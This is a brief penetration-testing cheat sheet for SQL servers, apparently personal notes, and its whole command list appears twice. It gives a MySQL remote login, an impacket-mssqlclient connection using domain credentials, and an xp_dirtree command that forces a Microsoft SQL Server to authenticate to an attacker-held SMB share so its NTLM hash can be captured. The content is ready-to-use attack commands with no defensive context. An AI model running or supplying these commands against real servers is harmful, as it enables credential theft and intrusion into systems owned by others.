Pentest - SQL
MySQL
mysql -u fooUser -p -h 44.55.66.77
MSSQL
impacket-mssqlclient -port 1433 domain/user:password@host
capture NTLM hashes:
SQL> exec master.sys.xp_dirtree "\\10.10.16.2\test"
mysql -u fooUser -p -h 44.55.66.77
impacket-mssqlclient -port 1433 domain/user:password@host
capture NTLM hashes:
SQL> exec master.sys.xp_dirtree "\\10.10.16.2\test"